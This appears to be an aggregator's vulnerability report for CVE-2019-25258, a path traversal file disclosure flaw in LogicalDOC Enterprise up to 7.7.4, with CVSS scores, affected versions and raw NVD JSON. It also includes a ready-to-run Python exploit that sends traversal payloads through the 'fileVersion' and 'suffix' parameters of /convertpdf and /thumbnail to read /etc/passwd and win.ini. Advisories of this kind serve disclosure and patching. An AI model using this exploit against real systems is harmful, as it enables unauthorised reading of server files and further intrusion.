Security Vulnerability Report
中文
CVE-2019-25258 CVSS 7.5 HIGH

CVE-2019-25258

Published: 2025-12-24 20:15:55
Last Modified: 2026-01-09 20:50:45

Description

LogicalDOC Enterprise 7.7.4 contains multiple post-authentication file disclosure vulnerabilities that allow attackers to read arbitrary files through unverified 'suffix' and 'fileVersion' parameters. Attackers can exploit directory traversal techniques in /thumbnail and /convertpdf endpoints to access sensitive system files like win.ini and /etc/passwd by manipulating path traversal sequences.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:logicaldoc:logicaldoc:7.1.1:*:*:*:enterprise:*:*:* - VULNERABLE
cpe:2.3:a:logicaldoc:logicaldoc:7.4.2:*:*:*:enterprise:*:*:* - VULNERABLE
cpe:2.3:a:logicaldoc:logicaldoc:7.5.1:*:*:*:enterprise:*:*:* - VULNERABLE
cpe:2.3:a:logicaldoc:logicaldoc:7.6.2:*:*:*:enterprise:*:*:* - VULNERABLE
cpe:2.3:a:logicaldoc:logicaldoc:7.6.4:*:*:*:enterprise:*:*:* - VULNERABLE
LogicalDOC Enterprise 7.7.4及之前版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # CVE-2019-25258 PoC - LogicalDOC Enterprise File Disclosure # Target: LogicalDOC Enterprise <= 7.7.4 # Vulnerability: Path Traversal in /convertpdf and /thumbnail endpoints def exploit_cve_2019_25258(target_url, filename): """ Exploit path traversal vulnerability to read arbitrary files Args: target_url: Base URL of LogicalDOC Enterprise application filename: Target file to read (e.g., /etc/passwd or ../../../../windows/win.ini) Returns: File contents if successful, None otherwise """ # Target endpoints vulnerable to path traversal endpoints = [ "/convertpdf", "/thumbnail" ] # Path traversal payloads payloads = [ f"?fileVersion=../../../..{filename}", f"?suffix=../../../..{filename}", f"?fileVersion=....//....//....//....//{filename}", f"?suffix=....//....//....//....//{filename}" ] for endpoint in endpoints: for payload in payloads: try: url = target_url.rstrip('/') + endpoint + payload response = requests.get(url, timeout=10) # Check if file content was returned if response.status_code == 200 and len(response.content) > 0: # Verify it's actual file content, not an error page if not any(err in response.text.lower() for err in ['error', 'not found', 'invalid']): return response.content except requests.RequestException: continue return None # Example usage if __name__ == "__main__": target = "http://targetLogicalDOC.com" # Read /etc/passwd on Linux systems result = exploit_cve_2019_25258(target, "/etc/passwd") if result: print("Linux /etc/passwd content:") print(result.decode('utf-8', errors='ignore')) # Read win.ini on Windows systems result = exploit_cve_2019_25258(target, "windows/win.ini") if result: print("Windows win.ini content:") print(result.decode('utf-8', errors='ignore'))

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2019-25258", "sourceIdentifier": "[email protected]", "published": "2025-12-24T20:15:54.627", "lastModified": "2026-01-09T20:50:45.407", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "LogicalDOC Enterprise 7.7.4 contains multiple post-authentication file disclosure vulnerabilities that allow attackers to read arbitrary files through unverified 'suffix' and 'fileVersion' parameters. Attackers can exploit directory traversal techniques in /thumbnail and /convertpdf endpoints to access sensitive system files like win.ini and /etc/passwd by manipulating path traversal sequences."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:logicaldoc:logicaldoc:7.1.1:*:*:*:enterprise:*:*:*", "matchCriteriaId": "291DCC81-EBA8-499C-9D72-D1BC8265C8C9"}, {"vulnerable": true, "criteria": "cpe:2.3:a:logicaldoc:logicaldoc:7.4.2:*:*:*:enterprise:*:*:*", "matchCriteriaId": "12C52CB1-9559-4C10-BEF6-77CB7C29D919"}, {"vulnerable": true, "criteria": "cpe:2.3:a:logicaldoc:logicaldoc:7.5.1:*:*:*:enterprise:*:*:*", "matchCriteriaId": "F0EFAC94-B176-4D38-8401-711EAB4AD8B0"}, {"vulnerable": true, "criteria": "cpe:2.3:a:logicaldoc:logicaldoc:7.6.2:*:*:*:enterprise:*:*:*", "matchCriteriaId": "E7F66DA8-DAF0-4E45-B732-B86260E53114"}, {"vulnerable": true, "criteria": "cpe:2.3:a:logicaldoc:logicaldoc:7.6.4:*:*:*:enterprise:*:*:*", "matchCriteriaId": "E319006E-3C11-4E2A-A06A-AC4755EE75AB"}, {"vulnerable": true, "criteria": "cpe:2.3:a:logicaldoc:logicaldoc:7.7.1:*:*:*:enterprise:*:*:*", "matchCriteriaId": "5970327C-EFE4-4FC6-8FF3-72763A07B825"}, {"vulnerable": true, "criteria": "cpe:2.3:a:logicaldoc:logicaldoc:7.7.2:*:*:*:enterprise:*:*:*", "matchCriteriaId": "EF8C6B1F-E466-4F8D-93D8-42A51484BCD4"}, {"vulnerable": true, "criteria": "cpe:2.3:a:logicaldoc:logicaldoc:7.7.3:*:*:*:enterprise:*:*:*", "matchCriteriaId": "35556D50-AA9C-42C3-B062-C7BA3D7D51FE"}, {"vulnerable": true, "criteria": "cpe:2.3:a:logicaldoc:logicaldoc:7.7.4:*:*:*:enterprise:*:*:*", "matchCriteriaId": "D6AE494B-3C50-45A1-8437-1FD7256B3C30"}]}]}], "references": [{"url": "https://www.exploit-db.com/exploits/44019", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.logicaldoc.com", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.zeroscience.mk/en/vulnerabilities/ZSL-2018-5450.php", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.exploit-db.com/exploits/44019", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.zeroscience.mk/en/vulnerabilities/ZSL-2018-5450.php", "source": "134c704f-9b21-4f2e-91b3-4a467353 ... (truncated)